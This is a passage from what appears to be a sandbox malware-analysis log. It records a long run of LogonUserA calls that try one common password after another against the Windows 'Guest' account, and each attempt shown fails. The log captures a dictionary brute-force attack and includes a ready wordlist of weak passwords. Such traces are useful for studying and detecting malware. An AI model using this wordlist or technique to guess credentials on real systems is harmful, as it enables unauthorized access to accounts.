lpszPassword="dragon", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.607] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="trustno1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.607] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jason", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.608] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="internet", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.608] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mustdie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.608] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="john", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.608] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="letmein", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.609] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.609] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mike", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.609] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="knight", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.609] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jordan23", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.610] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="abc123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.610] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="red123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.610] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="praise", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.610] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="freedom", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.611] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jesus1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.611] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="12345", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.611] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="london", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.612] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="computer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.612] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="microsoft", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.612] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="muffin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.612] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="qwert", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.613] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mother", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.613] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="master", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.613] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="111111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.613] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="qazwsx", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.614] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="samuel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.614] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="canada", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.614] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="slayer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.615] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="rachel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.615] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="onelove", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.615] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="qwerty", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.615] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="prayer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.616] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iloveyou1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.616] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="whatever", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.616] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="god", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.616] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="password", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.617] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blessing", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.617] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="snoopy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.617] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1q2w3e4r", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.618] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cookie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.618] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="11111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.618] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chelsea", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.618] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="pokemon", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.619] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hahaha", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.619] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="aaaaaa", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.619] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hardcore", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.619] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="shadow", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.620] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="welcome", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.620] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mustang", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.620] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="654321", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.620] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bailey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.621] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blahblah", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.621] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="matrix", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.621] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jessica", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.622] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="stella", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.622] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="benjamin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.622] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="testing", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.622] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="secret", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.623] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="trinity", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.623] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="richard", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.623] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="peace", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.624] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="shalom", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.624] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="monkey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.624] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iloveyou", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.624] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="thomas", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.625] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blink182", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.625] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jasmine", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.625] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="purple", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.625] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="test", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.626] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="angels", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.626] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="grace", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.626] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hello", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.627] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="poop", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.627] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blessed", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.627] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1234567890", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.627] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="heaven", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.628] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hunter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.628] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="pepper", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.628] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="john316", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.628] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cool", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.629] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="buster", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.629] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="andrew", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.629] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="faith", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.629] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ginger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.630] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="7777777", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.630] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hockey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.630] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hello1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.631] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="angel1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.631] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="superman", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.631] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="enter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.631] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="daniel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.632] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.632] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="forever", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.632] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="nothing", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.632] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dakota", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.633] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="kitten", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.633] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="asdf", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.633] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.634] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="banana", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.634] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="gates", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.634] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="flower", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.634] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="taylor", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.635] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="lovely", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.635] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hannah", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.635] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="princess", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.636] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="compaq", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.636] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jennifer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.636] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="myspace1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.636] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="smokey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.637] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="matthew", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.637] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="harley", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.637] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="rotimi", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.638] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fuckyou", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.638] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="soccer1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.638] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123456", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.638] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="single", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.639] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="joshua", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.639] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="green", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.639] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123qwe", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.639] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="starwars", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.640] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="love", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.640] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="silver", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.640] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="austin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.641] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="michael", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.641] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="amanda", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.641] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1234", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.641] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="charlie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.642] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bandit", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.642] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chris", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.642] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="happy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.642] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hope", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.643] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="maggie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.643] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="maverick", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.643] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="online", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.643] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="spirit", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.644] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="george", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.644] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="friends", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.644] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dallas", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.645] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="adidas", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.645] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1q2w3e", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.645] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="7777", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.645] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="orange", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0xefe04 | out: phToken=0xefe04*=0x0) returned 0 [0055.646] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="testtest", 